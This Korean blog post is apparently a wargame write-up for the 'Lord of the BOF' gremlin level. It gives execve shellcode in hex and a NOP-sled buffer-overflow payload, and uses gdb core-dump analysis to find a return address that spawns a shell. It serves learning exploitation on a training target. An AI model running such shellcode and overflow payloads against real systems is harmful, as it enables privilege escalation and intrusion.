# core 파일 생성
ulimit -c unlimited # 쉘코드
\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
'LOB - 01 gremlin - (1)스택 구조 파악' 글에 이어 작성하려고 한다.
먼저 실행 파일이 gate가 아닌 gremlin의 권한으로 되어 있기 때문에
분석을 위해 tmp 디렉토리를 만들고 실행파일을 복사한다.
'LOB - 01 gremlin - (1)스택 구조 파악' 에서는 A로 260개를 채웠지만,
이번에는 뒤쪽에 쉘코드를 넣은 뒤, 앞을 \x90으로 채우고 eip 자리를 A로 덮었다.
위에 있는 쉘코드를 이용하였고, 쉘코드가 36바이트이기 때문에 \x90을 224개만큼 채운다.
mkdir tmp cp gremlin ./tmp/aaaaaaa cd tmp ./aaaaaaa `python -c 'print "\x90"*224 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "AAAA"'`
이제 core 파일을 이용하여 eip에 넣을 주소만 알아내면 된다.
core 파일이 생성되지 않는다면 위에 있는 ulimit을 이용하면 된다.
gdb로 core 파일을 연 뒤,
스택을 보면 아래와 같은 결과를 볼 수 있다.
0x90이 이어지는 곳을 찾을 수 있고, 그 뒤를 보면 입력했던 쉘코드 또한 확인할 수 있다.
따라서 0x90 중간의 주소로 eip를 덮으면 된다.
여기서는 0xbffffd70으로 하였다.
참고로 bash2에서 실행해야한다.
(ps로 현재 bash2로 실행 중인지 확인하고, bash라면 터미널에서 bash2를 입력하면 된다.)
./gremlin `python -c 'print "\x90"*224 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x70\xfd\xff\xbf"'`
'Wargame > The Lord of the BOF' 카테고리의 다른 글
LOB - 03 goblin (0) | 2019.02.01 |
---|---|
LOB - 02 cobolt (0) | 2019.02.01 |
LOB - 01 gremlin - (2.2)쉘코드 수정 (0) | 2019.02.01 |
LOB - 01 gremlin - (2.1)쉘코드 작성 (0) | 2019.02.01 |
LOB - 01 gremlin - (1)스택 구조 파악 (0) | 2019.02.01 |
댓글